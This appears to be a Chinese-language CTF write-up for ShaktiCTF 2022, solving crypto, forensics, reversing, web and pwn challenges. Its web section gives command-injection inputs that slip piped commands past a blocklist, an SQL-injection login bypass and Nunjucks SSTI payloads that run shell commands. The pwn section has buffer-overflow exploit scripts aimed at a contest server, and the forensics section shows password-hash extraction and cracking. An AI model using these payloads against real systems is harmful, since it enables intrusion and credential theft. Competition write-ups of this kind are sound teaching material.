discord -> get role -> misc -> 公告
shaktictf{w31c0m3_t0_shaktictf_2022!}
:::spoiler greeky_fix_chall.py
key = chr(0x04) Z chr(0x01) Z chr(0x12) Z chr(0x0f) Z chr(0x1b) Z chr(0x04) Z chr(0x14) Z chr(0x1d) Z chr(0x15) Z chr(0x1f) Z chr(0x3a) Z chr(0x32) Z chr(0x05) Z chr(0x36) Z chr(0x10) Z chr(0x54) Z chr(0x3d) Z chr(0x3f) Z chr(0x44) Z chr(0x0a) Z chr(0x44) Z chr(0x45) Z chr(0x4e) Z chr(0x10)
flag_list
new_secret
def secret_xor(secret, key):
new_secret = (secret * (int(len(key)/len(secret))+1))[:len(key)]
flag_list = [chr((ord(a) ^ ord(b))) for a,b in zip(new_secret, key)]
return "".join(flag_list)
flag = secret_xor(secret,key)
if flag = "":
print("Oh ho!! U didn't get it right :(")
else:
print(flag)
:::
馬的怪題
從提供的程式檔中可看出有一個 key 和 secret,做完 xor 後是 flag
而另外有一個看起來很像是 key 的東西,但沒看到 secret
由於 flag 開頭已知,可以使用已知明文攻擊找出 secret,破解 xor
首先對 key 和已知的 flag 開頭做 xor,找出 secret 可能為 wisdom
使用 wisdom 與 key 做 xor,得出 flag
shaktictf{U_r_c0RR3c7!!}
:::spoiler snow_chal.txt
:::
別懷疑,檔案就是一坨空白
從題目的 winter 、檔案名稱的 snow、whitespace encoding 之類的可以找到一個叫做 snow 的隱寫術工具,主要就是將文字變成空白的方式編碼
嘗試使用他作為解碼工具
stegsnow -C snow_chall.txt
發現解出來是一坨垃圾
除了直接編碼之外,這個工具還可以透過用密碼的方式加以保護內容,嘗試找密碼
根據題目敘述和提示,推測密碼可能是一個人名,把題目敘述的問題丟到 google 後,找到有三個可能的人
Gerolamo Cardano
Robert Hooke
Jim Drake
一個一個試,答案就是第一個人
stegsnow -C -p "Gerolamo Cardano" snow_chall.txt
shaktictf{H4v3_4_5n0wy_c7f}
填問卷
shaktictf{Th4nk_y0u_f0r_p4rticip4ting_1n_shaktiCTF}
給了一個 pcap 檔案,使用 wireshark 打開分析
在 protocol hierarchy 發現有 data 區段資料,設定成 filter
從前面 4 的封包的內容發現似乎是一個 png 檔案,嘗試將全部資料封成一個 png
獲得以下圖片
shaktictf{that_was_e4sy!}
總而言之,拿到了一個 memory dump 檔案,要求要拿到
- Challenge.raw 的 sha1sum
- TroubleMaker 帳號的密碼
- 取得 image 工具的 PID
第一個最簡單,拿到檔案後執行 sha1sum Challenge.raw
,得到 ed85ee47484e503787277807d3ef999586aecf1b
第二個開始要使用 volatility 工具
第二個可參考此文章,使用 hashdump 功能,取得帳號密碼的 hash
python vol.py -f Challenge.raw windows.hashdump.Hashdump
User rid lmhash nthash
Administrator 500 aad3b435b51404eeaad3b435b51404ee 10eca58175d4228ece151e287086e824
Guest 501 aad3b435b51404eeaad3b435b51404ee 31d6cfe0d16ae931b73c59d7e0c089c0
TroubleMaker 1001 aad3b435b51404eeaad3b435b51404ee 8222c982da6adde81e54c0aeaac4dbed
HomeGroupUser$ 1002 aad3b435b51404eeaad3b435b51404ee 94d88807b15429eb5d7e8f504f3499d1
可知道 TroubleMaker 帳號密碼的 hash 為 8222c982da6adde81e54c0aeaac4dbed
,丟到 crackstation 可得到 londonbridge
第三題,使用 pslist 功能,取得 PID 資訊
python vol.py -f ./Challenge.raw windows.pslist
Volatility 3 Framework 2.4.0
PID PPID ImageFileName Offset(V) Threads Handles SessionId Wow64 CreateTime ExitTime File output
4 0 System 0xfa80036d0040 86 537 N/A False 2022-12-08 19:58:23.000000 N/A Disabled
272 4 smss.exe 0xfa8004858040 2 29 N/A False 2022-12-08 19:58:23.000000 N/A Disabled
356 348 csrss.exe 0xfa80047de060 8 431 0 False 2022-12-08 19:58:33.000000 N/A Disabled
408 400 csrss.exe 0xfa80061abb00 9 225 1 False 2022-12-08 19:58:37.000000 N/A Disabled
440 400 winlogon.exe 0xfa80061ad4c0 3 113 1 False 2022-12-08 19:58:37.000000 N/A Disabled
448 348 wininit.exe 0xfa80061bc660 3 76 0 False 2022-12-08 19:58:37.000000 N/A Disabled
512 448 services.exe 0xfa8006236b00 9 208 0 False 2022-12-08 19:58:39.000000 N/A Disabled
520 448 lsass.exe 0xfa8006242930 8 769 0 False 2022-12-08 19:58:40.000000 N/A Disabled
528 448 lsm.exe 0xfa8005faeb00 10 148 0 False 2022-12-08 19:58:40.000000 N/A Disabled
620 512 svchost.exe 0xfa80062ba4f0 9 351 0 False 2022-12-08 19:58:45.000000 N/A Disabled
680 512 VBoxService.ex 0xfa80062f6510 13 125 0 False 2022-12-08 19:58:46.000000 N/A Disabled
736 512 svchost.exe 0xfa80062fab00 7 266 0 False 2022-12-08 19:58:47.000000 N/A Disabled
824 512 svchost.exe 0xfa800632c060 22 557 0 False 2022-12-08 19:58:47.000000 N/A Disabled
884 512 svchost.exe 0xfa800636d460 29 532 0 False 2022-12-08 19:58:49.000000 N/A Disabled
912 512 svchost.exe 0xfa800634ab00 18 482 0 False 2022-12-08 19:58:49.000000 N/A Disabled
940 512 svchost.exe 0xfa800637bb00 32 922 0 False 2022-12-08 19:58:49.000000 N/A Disabled
236 824 audiodg.exe 0xfa80063be370 5 123 0 False 2022-12-08 19:58:51.000000 N/A Disabled
368 512 svchost.exe 0xfa80063efb00 14 465 0 False 2022-12-08 19:58:56.000000 N/A Disabled
1184 512 spoolsv.exe 0xfa80064ef9d0 14 290 0 False 2022-12-08 19:59:01.000000 N/A Disabled
1220 512 svchost.exe 0xfa800650a860 19 316 0 False 2022-12-08 19:59:02.000000 N/A Disabled
1312 512 svchost.exe 0xfa8006551b00 10 148 0 False 2022-12-08 19:59:03.000000 N/A Disabled
1400 512 svchost.exe 0xfa8006597b00 19 274 0 False 2022-12-08 19:59:03.000000 N/A Disabled
1676 512 taskhost.exe 0xfa80066c1060 9 215 1 False 2022-12-08 19:59:07.000000 N/A Disabled
1896 512 sppsvc.exe 0xfa80065f3b00 4 143 0 False 2022-12-08 19:59:10.000000 N/A Disabled
1484 884 dwm.exe 0xfa8006721b00 3 99 1 False 2022-12-08 19:59:40.000000 N/A Disabled
1452 1264 explorer.exe 0xfa80037ed3f0 39 874 1 False 2022-12-08 19:59:41.000000 N/A Disabled
1060 1452 VBoxTray.exe 0xfa80067e9500 14 149 1 False 2022-12-08 19:59:47.000000 N/A Disabled
1556 512 SearchIndexer. 0xfa8005f7eb00 14 655 0 False 2022-12-08 20:00:15.000000 N/A Disabled
2176 512 wmpnetwk.exe 0xfa80068b0b00 14 431 0 False 2022-12-08 20:00:37.000000 N/A Disabled
2416 512 svchost.exe 0xfa80037c0b00 11 356 0 False 2022-12-08 20:00:48.000000 N/A Disabled
2612 1452 cmd.exe 0xfa80038438f0 1 21 1 False 2022-12-08 20:01:16.000000 N/A Disabled
2628 408 conhost.exe 0xfa800654e060 2 53 1 False 2022-12-08 20:01:19.000000 N/A Disabled
2728 1452 iexplore.exe 0xfa800388db00 10 486 1 False 2022-12-08 20:01:39.000000 N/A Disabled
2064 512 mscorsvw.exe 0xfa8003931b00 6 84 0 True 2022-12-08 20:02:09.000000 N/A Disabled
2508 620 WmiPrvSE.exe 0xfa80039ef7b0 7 112 0 False 2022-12-08 20:02:28.000000 N/A Disabled
2604 512 mscorsvw.exe 0xfa8003a827b0 5 79 0 False 2022-12-08 20:02:37.000000 N/A Disabled
2172 512 svchost.exe 0xfa8003b46060 9 249 0 False 2022-12-08 20:03:20.000000 N/A Disabled
1076 2728 iexplore.exe 0xfa8003b23220 20 549 1 True 2022-12-08 20:03:37.000000 N/A Disabled
636 1452 DumpIt.exe 0xfa8003798060 2 45 1 True 2022-12-08 20:05:34.000000 N/A Disabled
2012 408 conhost.exe 0xfa8003ae1b00 2 52 1 False 2022-12-08 20:05:36.000000 N/A Disabled
其中在 PID 636 的地方可以看到有一個 DumpIt.exe
,看起來很可疑,搜尋一下後發現是一個 memory dumper,符合第三題的敘述
綜合以上,拼起來得到 flag
shaktictf{ed85ee47484e503787277807d3ef999586aecf1b_londonbridge_636}
拿到檔案,先 file 看看
看一下 xxd
看起來是一個 pdf,且整個檔案被反轉過了,寫個程式轉回來
:::spoiler solve.py
with open("shakti.dat", "rb") as fh:
data = fh.read()
with open("shakti2.pdf", "wb") as fh:
fh.write(data[::-1])
:::
打開檔案,沒看到特別的東西
使用 binwalk,發現似乎藏有 png
執行指令匯出所有檔案
binwalk -e shakti2.pdf --dd=.*
cd _shakti2.pdf-0.extracted/
cp 413B 413B.png
但打不開
使用 pngcheck 工具,發現是 IHDR 被拼錯了,嘗試修改
接下來檢查到有 IDAT 變成小寫的問題
以及 IEND 拼錯
最後是 IEND 後面多了很多垃圾
修改完之後就 ok 了
打開得到圖片
shaktictf{Y0Uuu_G0t_Th1Ss5}
:::spoiler eazy_peazy.py
flag='shaktictf{#####REDACTED#####}'
s=''
for i in flag:
s+=chr((ord(i)-15))
print(base64.b64encode(bytes(s,'utf-8')))
#b'ZFlSXGVaVGVXbFRjamFlIVAiZFBkZmEkY1BWUmtqampqampQWFQlJCNlYyYnWCVlYyYlbg=='
:::
就 base64 解碼之後位移一下字母就出來了
shaktictf{crypt0_1s_sup3r_eazyyyyyy_gc432tr56g4tr54}
:::spoiler chall.py
from Crypto.Util.number import *
flag=b"#########REDACTED#########"
n=[getPrime(512) for _ in range(3)]
n=[8722540009234070247614687250654407242443098960521889927638169603994447523278398949052234586867149142397946752296113268097476897402751079151430185069380019,
7748390830619438628598461672002256107736202041283980575594114738792667049612675190299231384130518428001436332199784230830361296805998178862622627821106411,
12992001107762284853924107072566691259373024612699267823574353409729296618405485466359139269067615966447864990530610158839653182793355847359198838835594411]
c=[1411653708282913345423368557671871591664438381629501903851153161454445916121359905705692712233369895756996170441640578174610106571066191790012378520429743,
2861865990314714540093636102814256470323315183310888629544832686169355957218120916189696143602437816851535307621641620697566853687152831782355649417978952,
376492284239858752271882252381292364517711829294783943816555345285629896042539317245807593032505251819708007746820040182429681780320868266166620015593930]
for i,j in zip(c,n):
assert(x%j==i)
secret=4302040125834928853558463909476079954473400865172251180160558435767130753932883186010390855112227834689861010095690778866857294344059634143100709544931839088413113732983879851609646261868420370506958223094475800449942079286436722629516277911423054845515342792094987249059810059640127872352101234638506603087565277395480953387647118861450659688484283820336767116038031727190397533082113134466893728210621302098082671125283992902107359805546865262918787687109747546968842757321383287635483017116189825332578143804402313162547301864633478350112638450973130720295084401400762328157586821639409421465548080122760881528019152451981418066119560584988658928643613995792058313513615847754001837873387949017975912403754727304537758597079167674369192909953480861392310713676253433998929652777155332408050107725317676660176980502406301244129743702460065671633250603271650634176695472477451658931634382635748322647891956353158570635160043
e=65537
ct=16958627479063955348415964384163116282602743039742753852934410863378528486785270030162782732192537726709536924276654783411884139339994697205619239406660459997082991141519385345070967253589282293949945894128620519748508028990727998488399564805026414462500253524261007024303476629172149332624303860869360966809845919057766279471870925180603362418449119409436609700813481467972962774900963043970140554494187496533636616384537667808308555402187685194879588448942654070984762583024927082993513125305565020701004973206532961944433936049713847420474363949095844995122469523084865481364653146506752587869477287886906616275417
assert(long_to_bytes(pow(ct,d,secret//x))==flag.decode())
:::
馬的怪題
從題目可知道有一個 x,x 在 mod
可以透過 CRT 來解出 x
後面又可得知,$ct^d\ mod\ (secret / x) = flag$,沒有其他線索了
這段看起來像是 RSA,且題目名稱的提示看起來也是,所以推測原來是使用 RSA 做計算
而 secret/x 這個看起來是 RSA 中的 n,在沒有線索的情況下丟到 factordb 看有沒有已算好的結果
http://factordb.com/index.php?query=24527876714777610556168704102334063247745307067942987179946992203143782911214218738693269763284353107444558551004104842495208613554362680493609315262323088218069305109094883023250460622553819850578030167910933028392613333549556209547555445147475324578694902644739395420556980677634640744378713609298141891560253460328397733071122264628468706243972435551492706426936176969047044900758569383152320313902601091822535952698142154712130550473808314533625099780507036524949344974327532792045713711551245809959038345909568860198589805752319051021759477458800632328558389734253607892450861044270982742648526813361769154927281
很明顯的有,且是一個看起來是質數的平方計算出來的,因此可知道 RSA 中 p 的值
接著也可以直接計算解密金鑰 d,要注意的是由於 N 是使用
:::spoiler solve.py
from sage.all import *
from gmpy2 import isqrt
n=[8722540009234070247614687250654407242443098960521889927638169603994447523278398949052234586867149142397946752296113268097476897402751079151430185069380019,
7748390830619438628598461672002256107736202041283980575594114738792667049612675190299231384130518428001436332199784230830361296805998178862622627821106411,
12992001107762284853924107072566691259373024612699267823574353409729296618405485466359139269067615966447864990530610158839653182793355847359198838835594411]
c=[1411653708282913345423368557671871591664438381629501903851153161454445916121359905705692712233369895756996170441640578174610106571066191790012378520429743,
2861865990314714540093636102814256470323315183310888629544832686169355957218120916189696143602437816851535307621641620697566853687152831782355649417978952,
376492284239858752271882252381292364517711829294783943816555345285629896042539317245807593032505251819708007746820040182429681780320868266166620015593930]
x = crt(c, n)
for i,j in zip(c,n):
assert (x%j==i)
secret=4302040125834928853558463909476079954473400865172251180160558435767130753932883186010390855112227834689861010095690778866857294344059634143100709544931839088413113732983879851609646261868420370506958223094475800449942079286436722629516277911423054845515342792094987249059810059640127872352101234638506603087565277395480953387647118861450659688484283820336767116038031727190397533082113134466893728210621302098082671125283992902107359805546865262918787687109747546968842757321383287635483017116189825332578143804402313162547301864633478350112638450973130720295084401400762328157586821639409421465548080122760881528019152451981418066119560584988658928643613995792058313513615847754001837873387949017975912403754727304537758597079167674369192909953480861392310713676253433998929652777155332408050107725317676660176980502406301244129743702460065671633250603271650634176695472477451658931634382635748322647891956353158570635160043
e=65537
ct=16958627479063955348415964384163116282602743039742753852934410863378528486785270030162782732192537726709536924276654783411884139339994697205619239406660459997082991141519385345070967253589282293949945894128620519748508028990727998488399564805026414462500253524261007024303476629172149332624303860869360966809845919057766279471870925180603362418449119409436609700813481467972962774900963043970140554494187496533636616384537667808308555402187685194879588448942654070984762583024927082993513125305565020701004973206532961944433936049713847420474363949095844995122469523084865481364653146506752587869477287886906616275417
nn = secret // x
p = isqrt(nn)
assert (p*p == nn)
phi = p * (p-1)
d = pow(e, -1, phi)
m = pow(ct, d, nn)
from Crypto.Util.number import long_to_bytes
print(long_to_bytes(m))
:::
shaktictf{w0w_you_kn0w_h0w_RSA_&CRT_w0rks!}
:::spoiler cAex0r.py
from secret import flag
from random import randint
from pwn import xor
from os import urandom
stride = randint(1,27)
s1 = flag[:len(flag)//2]
s2 = flag[len(flag)//2:]
key = urandom(3)
def cass (text,stride):
u_alpha="ABCDEFGHIJKLMNOPQRSTUVWXYZ"
l_alpha="abcdefghijklmnopqrstuvwxyz"
enc_text = ""
for i in text:
if i>=65 and i<= 90:
enc_text += u_alpha[(u_alpha.find(chr(i)) - stride)%26]
elif i>=97 and i<= 122:
enc_text += l_alpha[(l_alpha.find(chr(i)) - stride)%26]
else:
enc_text += chr(i)
return enc_text.encode()
c = xor(cass(s1+s2,stride),key)
x = open("ciphertext.txt", "wb")
x.write((c))
:::
在程式中可以看到,會先對 flag 做 caesar 的轉換後進行 xor 加密,並輸出
可以看到,在 caesar 的部分沒有對非字母的部分進行轉換,也就是說 flag 的 {
, }
字元不會被轉換,也就可以嘗試透過明文攻擊找出部分的 xor key
而 xor key 的長度是 3 bytes,而 flag 的 index 9 和 63 是 {
, }
,做一下 xor 後得出 key 的開頭為 0x22,不過剩下的 key 無法確定
由於只要猜 2 個字元即可,因此我寫了一個程式嘗試將所有可能的 key 和解出來的明文輸出
:::spoiler solve.py
import string
from pwn import xor
with open("./ciphertext_15c434ca-401e-4497-b782-53050680758d.txt", "rb") as fh:
data = fh.read()
found = False
for i in [0x22]:
for j in range(256):
for k in range(256):
key = bytes([i,j,k])
decrypted = xor(data, key)
if(all([chr(d) in string.printable for d in decrypted]) and all([chr(d) in string.ascii_lowercase for d in decrypted[:9]])):
print(decrypted, key)
:::
得出最可能的 key 為 0x22 0x08 0xcd
使用 cyberchef 繼續破解 caesar 位移
用手算一下發現位移剛好是 13,使用 rot13 破解 caesar 拿 flag
shaktictf{welCom3_t0_cRyptOo_WoRLD_77846b12bfd9b91ebce67b236aa4}
:::spoiler chall.py
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad,unpad
from Crypto.Util.strxor import strxor
from secret import key,flag ,iv
from os import *
def encryptt(pt):
print(pt, len(pt))
return (AES.new(key,AES.MODE_CBC,iv)).encrypt(pad(pt,16))
def decryptt(ct):
if len(ct)%16 == 0:
return (AES.new(key,AES.MODE_CBC,iv)).decrypt(ct)
elif len(ct)%16 != 0:
return (unpad((AES.new(key,AES.MODE_CBC,iv)).decrypt(ct) , 16))
def verify_ivv(iv,iv_detected):
if iv.hex() == iv_detected:
print("Yooo... you are going good, move forward with some more courage")
return True
else:
print("Don't lose hope buddy , you can get through this, try again ")
return False
def sign(iv,key,message):
try:
cbc = AES.new(key, AES.MODE_CBC,iv)
messageblocks = [message[i:i + 16] for i in range(0, len(message), 16)]
tag = cbc.encrypt(messageblocks[0])
for i in range(1,len(messageblocks)):
cbc1 = AES.new(key, AES.MODE_CBC,tag)
tag = cbc1.encrypt(messageblocks[i])
return tag.hex()
except:
print("\nNo padding done here !, try again ")
exit()
def main():
print("******************************Welcome to the john's CBC server************************")
print("You really wanna get into the system? \n then search for IV ")
print("Choose 1 option among four \n \t 1.Encrypt the plain text \n \t 2.Decrypt the ciphertext \n \t 3.feed IV \n \t 4.exit")
op = int(input())
if op == 1:
print("I will provide the encrypted text for you")
print("Input the plaintext in hex format\n")
pt = input()
ct = encryptt(bytes.fromhex(pt)).hex()
print(len(ct))
print(f"cipher text for provided" , ct);
if op == 2:
print("I will provide the reasonable plaintext for you")
print("Input the cipher text in bytes to decrypt")
ct = input()
pt = decryptt(bytes.fromhex(ct)).hex()
print(f"decrypted text for provided" , pt);
if op == 3:
print("Provide reasonable IV to proceed further")
iv_detected = input()
verify_iv = verify_ivv(iv,iv_detected)
print(verify_iv)
if verify_iv:
print("Let me see whether you are worth enough to gain my gold coins.")
print("To prove yourself, give me two different hex-encoded messages that could sign to the same tag.")
print("Now press '0' to get your hex inputs signed and press 1 to submit two same messages")
iv_detected = bytes.fromhex(iv_detected)
x = input()
if x == '0':
print("Input hash encoded message:\n")
msg = bytes.fromhex(input())
x = sign(iv_detected,key,msg)
print("\n Tag for your message")
print(x)
if x == '1':
msg1 = bytes.fromhex(input("\nMessage #1: \n"))
msg2 = bytes.fromhex(input("\nMessage #2: \n"))
if(msg1 == msg2):
print("\nThis is not a correct way to do this, think again!!!")
exit()
if(msg1 != msg2 and sign(iv_detected,key,msg1)==sign(iv_detected,key,msg2)):
print(flag)
exit()
else:
print("\nOops! They don't match!...Better luck next time!")
exit()
if op==4:
exit()
if __name__ == '__main__':
main()
:::
在程式中可以看到,這個服務提供了加解密功能,使用 AES 的 CBC mode,需要我們猜出 iv 以及要找出兩個不同東西但 sign 出來東西相同的配對
首先先破解 iv,以下是 cbc 的結構圖
這篇我破解的核心關鍵是想辦法有一個原始 AES 輸入為全 0 的輸出結果,有了這組向量就可以在 CBC 解密時自動把 IV 輸出出來 (AES 解密出來是 0,做完 xor 後就是 iv)
而要怎麼產生這組全 0 輸出結果呢,首先我們要先在 CBC 情況下輸入隨便一組向量並得到輸出結果,而接著就可以利用這組輸出放在第二個 CBC AES 的輸入中,由於第二組的 IV 會等同於第一組的輸出,因此 xor 後剛好等同於在純 AES 下的輸入全 0,完美
接著只要把它拿去解密就可以了
在實際的例子中,首先輸入 16 個全 0 向量
這邊輸出會是 32 byte 的原因是 encrypt 的部分有 pad 到 16,反正切出前 16 byte 即可
接著把 16 個全 0 向量串接上一個輸出後,得到第二組輸出
切出輸出的 16~32 byte 部分
把結果拿去解密,拿到 iv
在例子中,得出的 iv 為 415f68617070795f6362635f6d6f6465
確認 iv 結果正確
接著下一步就是要找出輸入不同輸出相同的 sign 配對
再次觀察 sign 函數,發現只是輸出最後一個 block 的結果而已
因此想辦法偽造讓二者的最後一個 CBC AES 輸出相同即可,以下是我偽造的方法
首先先產生一組 16 個 0 的輸入,並記錄下輸出,這邊輸出等同於 iv 輸入到純 AES 的輸出
接著計算前面輸出與 iv 做 xor 後的結果,並作為第二個 CBC AES block 的輸入,由於輸入後會在和上一個 block 輸出做 xor,也就等同於讓 iv 進入到純 AES 的部分並得到輸出
因此以上二者雖然內容不同,但 sign 出來的結果相同
在實務上,首先先輸入 16 個全 0 輸入
輸出基本上就是前面算出來的結果
接著計算這個結果和 iv 的 xor,得到 47ccd88a8e0de06cf12b5c2ea89b0d48
,將 16 個全 0 串接這個數值,並丟進去 sign 看看
可以看到二者 sign 的結果完全相同
最後就是拿 flag
shaktictf{double_cheese_double_mac_yummyyyy_4120686170707920636263206d6f6465}
一進首頁只有一個機器人
![](https://i.imgur.com/RGXw20a.png =400x)
根據題目敘述提示,看一下網站原始碼
看到有 /flag.html
路徑
進來後看到需要密碼
老樣子先看原始碼
看到有關於密碼的東東
逆一下,把字串每個字加上 1,得到密碼 shaktiadmin
丟進去,彈出 flag
shaktictf{c0n9r4t5_u53r_hehe65445746}
明顯就是 command injection 題
進入後,提示使用 /ping?address=google.com
使用 ping
嘗試使用 address=google.com;ls
,發現有 Not Allowed
,推測有黑名單
經過嘗試,發現是 ;
在黑名單裡,使用 |
代替
address=google.com|ls
成功執行,發現 flag.txt
嘗試使用 cat 指令來讀取內容,發現又有黑名單
address=google.com|cat%20flag.txt
發現是 cat
指令被擋,改用 more
address=google.com|more%20flag.txt
成功拿到 flag
shaktictf{c0mm4nd_1nj3cti0n_iz_3asy_right??}
連進來後,發現有要輸入帳號密碼
且發現真的會送封包出去,不是刻在 js 的那種
看起來一臉 sqli,嘗試使用 ' or 1=1 -- #
shaktictf{s1mpl3_sql_inject1on_ehehhehe564321345}
進入後,發現有一個輸入名字的地方
猜有可能有 ssti 漏洞
輸入 {{ 7*7 }}
確認是 SSTI
推測可能是 jinja2,使用 payloadAllTheThing 的 payload 執行 RCE
{{ namespace.__init__.__globals__.os.popen('ls -al').read() }}
噴錯
發現這題似乎是用一個叫做 nunjucks 的模板引擎,搜尋相關 ssti payload
找到這篇文章
使用以下 payload,執行命令列出目錄
{{range.constructor("return global.process.mainModule.require('child_process').execSync('ls -al')")()}}
看到有個 flag 檔案
使用以下命令讀取檔案
{{range.constructor("return global.process.mainModule.require('child_process').execSync('cat flag')")()}}
shaktictf{ohh!!!_nuunjucksssss_ssti}
快樂 ghidra 時間
重要部分在這
前面會要求輸入一些拉基,反正最後最重要會有一個輸入 passcode 的部分,會比較輸入和指定的字串是否相同,相同則輸出 flag
指定字串部分是使用 strcpy 和 strcat 組合而成,我懶得看啦所以直接動態分析看組合完的東西
passcode 是 l3t5_s0lv3_m0r3_ch4ll3ng3s
包成 flag 格式就行了,或是直接執行輸入 passcode
shaktictf{l3t5_s0lv3_m0r3_ch4ll3ng3s}
先丟 ghidra
在 main 的部分可以看到,會要求輸入 flag,然後進入 constrains 函式,如果回傳結果為 1 則輸出完整的 flag
而 constrains 函式裡就是一堆限制,假如都符合的話就會回傳 1
直接丟 z3 求解
:::spoiler solve.py
from z3 import *
A = Array('A', IntSort(), IntSort())
solve(
A[9] * A[0xd] - A[0x17] == 0x28a1,
A[2] * A[5] + A[0] == 0x23bb,
A[8] * A[2] - A[0xd] == 0x2864,
(A[6] + A[7]) - A[0x17] == 0x8a,
(A[0xf] + A[0x12]) - A[0xe] == 0x46,
A[0x13] - A[0x18] * A[0xc] == -0x16b0,
A[0x10] * A[0x15] - A[10] == 0x1276,
A[0x11] * A[4] - A[0x16] == 0x334a,
A[1] * A[3] - A[0xb] == 0x95b,
A[0xb] * A[3] + A[0x14] == 0x145e,
A[5] * A[8] - A[0x14] == 0x285c,
(A[0] - A[0x10]) - A[0x10] == -0x44,
(A[0xd] + A[0x16]) - A[6] == 0x67,
(A[0x12] - A[0xc]) - A[0x15] == -0x36,
A[0xf] * A[10] - A[9] == 0x3604,
(A[0x18] + A[0x13]) - A[0xe] == 0x81,
A[0x11] * A[4] - A[7] == 0x3354,
(A[0xe] + A[8]) - A[1] == 0x9a,
(A[0x11] + A[0x17]) - A[9] == 0x45,
A[3] + A[10] * A[0x13] == 0x3265,
A[0xc] * A[0x15] + A[5] == 0xa88,
A[0x18] + (A[6] - A[1]) == 0xa7,
A[0xf] * A[4] + A[0] == 0x3509,
(A[7] - A[0x12]) - A[0x14] == -0x51,
A[2] * A[0xb] + A[0x16] == 0x26f7,
A[8] * A[0x13] + A[9] == 0x2ec7,
A[0] + (A[10] - A[0x17]) == 0xc0,
A[3] * A[0x15] + A[0xe] == 0xa22,
A[1] + A[0xc] + A[0x10] == 0xc5,
(A[0x14] + A[6]) - A[0xd] == 0x6e,
A[0x10] + (A[5] - A[0x15]) == 0x8b
)
# [A = Store(Store(Store(Store(Store(Store(Store(Store(Store(Store(Store(Store(Store(Store(Store(Store(Store(Store(Store(K(Int,
# 95),
# 7,
# 85),
# 10,
# 119),
# 1,
# 51),
# 11,
# 104),
# 8,
# 110),
# 17,
# 115),
# 18,
# 48),
# 19,
# 108),
# 0,
# 122),
# 12,
# 51),
# 13,
# 110),
# 23,
# 49),
# 21,
# 51),
# 15,
# 117),
# 20,
# 118),
# 24,
# 116),
# 4,
# 115),
# 3,
# 49),
# 6,
# 102)]
:::
爆出來的部分整理一下,得到 flag: z3_1s_fUn_wh3n_u_s0lv3_1t
直接包成 flag 格式,或是丟進去程式拿完整的
shaktictf{z3_1s_fUn_wh3n_u_s0lv3_1t}
先丟 ghidra
main 的部分很簡單,就是設定 buffer 以及呼叫 game 函數
game 的部分很簡單,只要輸入長度為 10000 個字元的字就會成功進入 winfunc 獲得勝利
不過 winfunc 沒有作用
再次觀察 game 函數,發現在輸入 y/n 的部分使用 scanf 的 %s 來讀,並且 buffer 長度的限制,有明顯的 BOF 漏洞
確認沒有 canary 和 PIE 保護,看起來是可以 ROP,剩下的問題就是要跳到哪裡
在函數清單中發現有一個 reallywin 函數,會噴出 flag,應該就是目標的位置
因此攻擊路徑為 先隨便輸入字 -> y/n 鋪 rop -> 再次隨便輸入字 -> 輸入 n 執行 return
:::spoiler solve.py
from pwn import *
binary = "./game_12dcfaa0-ade2-43fe-b79f-288b3b9560f8"
context.terminal = ["cmd.exe", "/c", "start", "bash.exe", "-c"]
context.binary = binary
context.log_level = "debug"
conn = remote("65.2.136.80", 31803)
# conn = process(binary)
# conn = gdb.debug(binary)
conn.sendlineafter(b"word:", b"0")
payload = b"A"*(0x18+8)
payload += p64(0x401258) # ret
payload += p64(0x401383) # reallywin
conn.sendlineafter(b"[y/n]:", payload)
conn.sendlineafter(b"word:", b"0")
conn.sendlineafter(b"[y/n]:", b"n")
conn.interactive()
:::
ROP 裡面會要再有一個 ret 的原因是為了 stack alignment 的問題
成功執行
shakti{G0od_joB_5olviNg_Thi5_1}
ghidra 時間
在 main 裡面,基本上就是 call func 函數而已
在 func 裡面,可以看到只要想辦法將 local_c 變數覆蓋掉,即可獲得 flag
基本上就是把 buffer 填滿,再填剩下的變數值就可以了
:::spoiler solve.py
from pwn import *
binary = "./variable_60f44897-4fc7-4893-a7c6-f74a72ae3c27"
context.terminal = ["cmd.exe", "/c", "start", "bash.exe", "-c"]
context.log_level = "debug"
context.binary = binary
conn = remote("65.2.136.80", 32569)
# conn = process(binary)
# conn = gdb.debug(binary)
payload = b"A"*60
payload += bytes.fromhex("cafebabe")[::-1]
conn.sendlineafter(b"Enter the key: ", payload)
conn.interactive()
:::
裡面的 -0x35014542 就等同於 0xcafebabe
shakti{0verWr171ng_15_FuN}